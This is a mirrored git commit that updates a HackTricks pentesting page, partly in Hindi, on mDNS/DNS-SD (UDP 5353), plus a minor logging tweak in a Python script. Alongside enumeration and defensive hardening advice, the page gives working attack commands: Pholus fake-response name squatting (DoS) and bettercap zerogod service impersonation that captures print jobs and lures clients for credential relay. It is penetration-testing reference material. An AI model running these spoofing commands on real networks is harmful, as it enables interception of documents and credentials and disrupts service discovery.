mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/5353-udp-multicast-dns-mdns
This commit is contained in:
parent
4d679ad929
commit
2e606ce820
@ -65,7 +65,7 @@ def ref(matchobj):
|
||||
dir = path.dirname(current_chapter['source_path'])
|
||||
rel_path = path.normpath(path.join(dir,href))
|
||||
try:
|
||||
logger.debug(f'Error getting chapter title: {href} trying with relative path {rel_path}')
|
||||
logger.debug(f'Not found chapter title from: {href} -- trying with relative path {rel_path}')
|
||||
if "#" in href:
|
||||
chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
|
||||
title = " ".join(href.split("#")[1].split("-")).title()
|
||||
|
@ -1,61 +1,153 @@
|
||||
# 5353/UDP मल्टीकास्ट DNS (mDNS) और DNS-SD
|
||||
# 5353/UDP Multicast DNS (mDNS) और DNS-SD
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## **बुनियादी जानकारी**
|
||||
## मूल जानकारी
|
||||
|
||||
**मल्टीकास्ट DNS (mDNS)** स्थानीय नेटवर्कों में **DNS-जैसी क्रियाओं** को पारंपरिक DNS सर्वर की आवश्यकता के बिना सक्षम बनाता है। यह **UDP पोर्ट 5353** पर कार्य करता है और उपकरणों को एक-दूसरे और उनकी सेवाओं को खोजने की अनुमति देता है, जो विभिन्न IoT उपकरणों में सामान्यतः देखा जाता है। **DNS सेवा खोज (DNS-SD)**, जो अक्सर mDNS के साथ उपयोग की जाती है, नेटवर्क पर उपलब्ध सेवाओं की पहचान करने में मदद करती है मानक DNS प्रश्नों के माध्यम से।
|
||||
Multicast DNS (mDNS) एक स्थानीय लिंक के भीतर DNS-जैसी नाम समाधान और सेवा खोज को सक्षम करता है बिना किसी unicast DNS सर्वर के। यह UDP/5353 और मल्टीकास्ट पते 224.0.0.251 (IPv4) और FF02::FB (IPv6) का उपयोग करता है। DNS सेवा खोज (DNS-SD, जो आमतौर पर mDNS के साथ उपयोग किया जाता है) PTR, SRV और TXT रिकॉर्ड के माध्यम से सेवाओं को सूचीबद्ध और वर्णित करने का एक मानकीकृत तरीका प्रदान करता है।
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
5353/udp open zeroconf
|
||||
```
|
||||
### **mDNS का संचालन**
|
||||
Key protocol details you’ll often leverage during attacks:
|
||||
- .local क्षेत्र में नाम mDNS के माध्यम से हल किए जाते हैं।
|
||||
- QU (Query Unicast) बिट मल्टीकास्ट प्रश्नों के लिए भी यूनिकास्ट उत्तरों का अनुरोध कर सकता है।
|
||||
- कार्यान्वयन को स्थानीय लिंक से स्रोतित पैकेट्स की अनदेखी करनी चाहिए; कुछ स्टैक्स अभी भी उन्हें स्वीकार करते हैं।
|
||||
- प्रॉबिंग/घोषणा अद्वितीय होस्ट/सेवा नामों को लागू करती है; यहां हस्तक्षेप करने से DoS/“नाम स्क्वाटिंग” की स्थितियां उत्पन्न होती हैं।
|
||||
|
||||
मानक DNS सर्वर के बिना वातावरण में, mDNS उपकरणों को **.local** में समाप्त होने वाले डोमेन नामों को हल करने की अनुमति देता है, जो मल्टीकास्ट पते **224.0.0.251** (IPv4) या **FF02::FB** (IPv6) को क्वेरी करके होता है। mDNS के महत्वपूर्ण पहलुओं में एक **Time-to-Live (TTL)** मान शामिल है जो रिकॉर्ड की वैधता को दर्शाता है और एक **QU बिट** जो यूनिकास्ट और मल्टीकास्ट क्वेरी के बीच अंतर करता है। सुरक्षा के दृष्टिकोण से, यह महत्वपूर्ण है कि mDNS कार्यान्वयन यह सत्यापित करें कि पैकेट का स्रोत पता स्थानीय उपनेट के साथ मेल खाता है।
|
||||
## DNS-SD सेवा मॉडल
|
||||
|
||||
### **DNS-SD का कार्य**
|
||||
सेवाओं को _<service>._tcp या _<service>._udp के रूप में .local के तहत पहचाना जाता है, जैसे _ipp._tcp.local (प्रिंटर), _airplay._tcp.local (AirPlay), _adb._tcp.local (Android Debug Bridge), आदि। _services._dns-sd._udp.local के साथ प्रकारों का पता लगाएं, फिर खोजे गए उदाहरणों को SRV/TXT/A/AAAA में हल करें।
|
||||
|
||||
DNS-SD नेटवर्क सेवाओं की खोज को सुविधाजनक बनाता है, जो पॉइंटर रिकॉर्ड (PTR) के लिए क्वेरी करके सेवा प्रकारों को उनके उदाहरणों से मानचित्रित करता है। सेवाओं की पहचान **\_\<Service>.\_tcp या \_\<Service>.\_udp** पैटर्न का उपयोग करके **.local** डोमेन के भीतर की जाती है, जिससे संबंधित **SRV** और **TXT रिकॉर्ड** की खोज होती है जो विस्तृत सेवा जानकारी प्रदान करते हैं।
|
||||
## नेटवर्क अन्वेषण और गणना
|
||||
|
||||
### **नेटवर्क अन्वेषण**
|
||||
|
||||
#### **nmap का उपयोग**
|
||||
|
||||
mDNS सेवाओं के लिए स्थानीय नेटवर्क को स्कैन करने के लिए एक उपयोगी कमांड है:
|
||||
- nmap लक्ष्य स्कैन (एक होस्ट पर सीधे mDNS):
|
||||
```bash
|
||||
nmap -Pn -sUC -p5353 [target IP address]
|
||||
nmap -sU -p 5353 --script=dns-service-discovery <target>
|
||||
```
|
||||
यह कमांड खुले mDNS पोर्ट और उनके माध्यम से विज्ञापित सेवाओं की पहचान करने में मदद करता है।
|
||||
|
||||
#### **Pholus के साथ नेटवर्क एन्यूमरेशन**
|
||||
|
||||
सक्रिय रूप से mDNS अनुरोध भेजने और ट्रैफ़िक कैप्चर करने के लिए, **Pholus** टूल का उपयोग निम्नलिखित तरीके से किया जा सकता है:
|
||||
- nmap प्रसारण खोज (सेगमेंट को सुनें और सभी DNS-SD प्रकारों/उदाहरणों की गणना करें):
|
||||
```bash
|
||||
sudo python3 pholus3.py [network interface] -rq -stimeout 10
|
||||
sudo nmap --script=broadcast-dns-service-discovery
|
||||
```
|
||||
- avahi-browse (Linux):
|
||||
```bash
|
||||
# सेवा प्रकारों की सूची
|
||||
avahi-browse -bt _services._dns-sd._udp
|
||||
# सभी सेवाओं को ब्राउज़ करें और होस्ट/पोर्ट पर हल करें
|
||||
avahi-browse -art
|
||||
```
|
||||
- Apple dns-sd (macOS):
|
||||
```bash
|
||||
# सभी HTTP सेवाओं को ब्राउज़ करें
|
||||
dns-sd -B _http._tcp
|
||||
# सेवा प्रकारों की गणना करें
|
||||
dns-sd -B _services._dns-sd._udp
|
||||
# एक विशिष्ट उदाहरण को SRV/TXT में हल करें
|
||||
dns-sd -L "My Printer" _ipp._tcp local
|
||||
```
|
||||
- Packet capture with tshark:
|
||||
```bash
|
||||
# लाइव कैप्चर
|
||||
sudo tshark -i <iface> -f "udp port 5353" -Y mdns
|
||||
# केवल DNS-SD सेवा सूची प्रश्न
|
||||
sudo tshark -i <iface> -f "udp port 5353" -Y "dns.qry.name == \"_services._dns-sd._udp.local\""
|
||||
```
|
||||
|
||||
Tip: कुछ ब्राउज़र/WebRTC अस्थायी mDNS होस्टनामों का उपयोग करते हैं ताकि स्थानीय IPs को छिपाया जा सके। यदि आप वायर पर random-UUID.local उम्मीदवार देखते हैं, तो उन्हें mDNS के साथ हल करें ताकि स्थानीय IPs पर स्विच किया जा सके।
|
||||
|
||||
## हमले
|
||||
|
||||
### **mDNS प्रॉबिंग का शोषण**
|
||||
### mDNS नाम प्रॉबिंग हस्तक्षेप (DoS / नाम स्क्वाटिंग)
|
||||
|
||||
एक हमले का वेक्टर mDNS प्रॉब्स को धोखाधड़ी वाले उत्तर भेजने में शामिल है, यह सुझाव देते हुए कि सभी संभावित नाम पहले से ही उपयोग में हैं, इस प्रकार नए उपकरणों को एक अद्वितीय नाम चुनने से रोकना। इसे निम्नलिखित का उपयोग करके निष्पादित किया जा सकता है:
|
||||
प्रॉबिंग चरण के दौरान, एक होस्ट नाम की अद्वितीयता की जांच करता है। धोखाधड़ी वाले संघर्षों के साथ प्रतिक्रिया देने से इसे नए नाम चुनने या विफल होने के लिए मजबूर किया जाता है। इससे सेवा पंजीकरण और खोज में देरी या रोकथाम हो सकती है।
|
||||
|
||||
Example with Pholus:
|
||||
```bash
|
||||
sudo python pholus.py [network interface] -afre -stimeout 1000
|
||||
# Block new devices from taking names by auto-faking responses
|
||||
sudo python3 pholus3.py <iface> -afre -stimeout 1000
|
||||
```
|
||||
यह तकनीक नए उपकरणों को नेटवर्क पर अपनी सेवाएँ पंजीकृत करने से प्रभावी ढंग से रोकती है।
|
||||
### सेवा धोखाधड़ी और पहचान बनाना (MitM)
|
||||
|
||||
**संक्षेप में**, mDNS और DNS-SD के कार्यों को समझना नेटवर्क प्रबंधन और सुरक्षा के लिए महत्वपूर्ण है। **nmap** और **Pholus** जैसे उपकरण स्थानीय नेटवर्क सेवाओं के बारे में मूल्यवान जानकारी प्रदान करते हैं, जबकि संभावित कमजोरियों के प्रति जागरूकता हमलों से बचाने में मदद करती है।
|
||||
विज्ञापित DNS-SD सेवाओं (प्रिंटर, AirPlay, HTTP, फ़ाइल शेयर) की पहचान बनाकर ग्राहकों को आपके साथ कनेक्ट करने के लिए मजबूर करें। यह विशेष रूप से उपयोगी है:
|
||||
- _ipp._tcp या _printer._tcp को धोखा देकर दस्तावेज़ कैप्चर करना।
|
||||
- HTTP/HTTPS सेवाओं की ओर ग्राहकों को आकर्षित करना ताकि टोकन/कुकीज़ इकट्ठा कर सकें या पेलोड वितरित कर सकें।
|
||||
- Windows ग्राहकों के धोखाधड़ी सेवाओं के लिए प्रमाणीकरण करते समय NTLM रिले तकनीकों के साथ संयोजन करना।
|
||||
|
||||
### Spoofing/MitM
|
||||
bettercap के zerogod मॉड्यूल (mDNS/DNS-SD स्पूफर/पहचानकर्ता) के साथ:
|
||||
```bash
|
||||
# Start mDNS/DNS-SD discovery
|
||||
sudo bettercap -iface <iface> -eval "zerogod.discovery on"
|
||||
|
||||
इस सेवा पर आप जो सबसे दिलचस्प हमला कर सकते हैं, वह है **MitM** करना **क्लाइंट और असली सर्वर के बीच संचार में**। आप संवेदनशील फ़ाइलें (प्रिंटर के साथ संचार को MitM करना) या यहां तक कि क्रेडेंशियल्स (Windows प्रमाणीकरण) प्राप्त करने में सक्षम हो सकते हैं।\
|
||||
अधिक जानकारी के लिए देखें:
|
||||
# Show all services seen from a host
|
||||
> zerogod.show 192.168.1.42
|
||||
|
||||
# Impersonate all services of a target host automatically
|
||||
> zerogod.impersonate 192.168.1.42
|
||||
|
||||
# Save IPP print jobs to disk while impersonating a printer
|
||||
> set zerogod.ipp.save_path ~/.bettercap/zerogod/documents/
|
||||
> zerogod.impersonate 192.168.1.42
|
||||
|
||||
# Replay previously captured services
|
||||
> zerogod.save 192.168.1.42 target.yml
|
||||
> zerogod.advertise target.yml
|
||||
```
|
||||
Also see generic LLMNR/NBNS/mDNS/WPAD spoofing and credential capture/relay workflows:
|
||||
|
||||
{{#ref}}
|
||||
../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
## संदर्भ
|
||||
### हाल की कार्यान्वयन समस्याओं पर नोट्स (engagements के दौरान DoS/persistence के लिए उपयोगी)
|
||||
|
||||
- Avahi reachable-assertion और D-Bus क्रैश बग (2023) Linux वितरणों पर avahi-daemon को समाप्त कर सकते हैं (जैसे CVE-2023-38469..38473, CVE-2023-1981), लक्षित होस्ट पर सेवा खोज को बाधित करते हैं जब तक कि पुनः प्रारंभ न किया जाए।
|
||||
- Cisco IOS XE Wireless LAN Controller mDNS गेटवे DoS (2024, CVE-2024-20303) आसन्न हमलावरों को उच्च CPU चलाने और APs को डिस्कनेक्ट करने की अनुमति देता है। यदि आप VLANs के बीच एक mDNS गेटवे का सामना करते हैं, तो गलत या उच्च-दर mDNS के तहत इसकी स्थिरता के प्रति सतर्क रहें।
|
||||
|
||||
## Defensive considerations and OPSEC
|
||||
|
||||
- Segment boundaries: Don’t route 224.0.0.251/FF02::FB between security zones unless an mDNS gateway is explicitly required. If you must bridge discovery, prefer allowlists and rate limits.
|
||||
- Windows endpoints/servers:
|
||||
- To hard-disable name resolution via mDNS set the registry value and reboot:
|
||||
```
|
||||
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD)
|
||||
```
|
||||
- In managed environments, disable the built-in “mDNS (UDP-In)” Windows Defender Firewall rule (at least on the Domain profile) to prevent inbound mDNS processing while preserving home/roaming functionality.
|
||||
- On newer Windows 11 builds/GPO templates, use the policy “Computer Configuration > Administrative Templates > Network > DNS Client > Configure multicast DNS (mDNS) protocol” and set it to Disabled.
|
||||
- Linux (Avahi):
|
||||
- Lock down publishing when not needed: set `disable-publishing=yes`, and restrict interfaces with `allow-interfaces=` / `deny-interfaces=` in `/etc/avahi/avahi-daemon.conf`.
|
||||
- Consider `check-response-ttl=yes` and avoid `enable-reflector=yes` unless strictly required; prefer `reflect-filters=` allowlists when reflecting.
|
||||
- macOS: Restrict inbound mDNS at host/network firewalls when Bonjour discovery is not needed for specific subnets.
|
||||
- Monitoring: Alert on unusual surges in `_services._dns-sd._udp.local` queries or sudden changes in SRV/TXT of critical services; these are indicators of spoofing or service impersonation.
|
||||
|
||||
## Tooling quick reference
|
||||
|
||||
- nmap NSE: `dns-service-discovery` and `broadcast-dns-service-discovery`.
|
||||
- Pholus: active scan, reverse mDNS sweeps, DoS and spoofing helpers.
|
||||
```bash
|
||||
# Passive sniff (timeout seconds)
|
||||
sudo python3 pholus3.py <iface> -stimeout 60
|
||||
# Enumerate service types
|
||||
sudo python3 pholus3.py <iface> -sscan
|
||||
# Send generic mDNS requests
|
||||
sudo python3 pholus3.py <iface> --request
|
||||
# Reverse mDNS sweep of a subnet
|
||||
sudo python3 pholus3.py <iface> -rdns_scanning 192.168.2.0/24
|
||||
```
|
||||
- bettercap zerogod: discover, save, advertise, and impersonate mDNS/DNS-SD services (see examples above).
|
||||
|
||||
## Spoofing/MitM
|
||||
|
||||
The most interesting attack you can perform over this service is to perform a MitM in the communication between the client and the real server. You might be able to obtain sensitive files (MitM the communication with the printer) or even credentials (Windows authentication).\
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
|
||||
- [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://books.google.co.uk/books/about/Practical_IoT_Hacking.html?id=GbYEEAAAQBAJ&redir_esc=y)
|
||||
- [Nmap NSE: broadcast-dns-service-discovery](https://nmap.org/nsedoc/scripts/broadcast-dns-service-discovery.html)
|
||||
- [bettercap zerogod (mDNS/DNS-SD discovery, spoofing, impersonation)](https://www.bettercap.org/modules/ethernet/zerogod/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user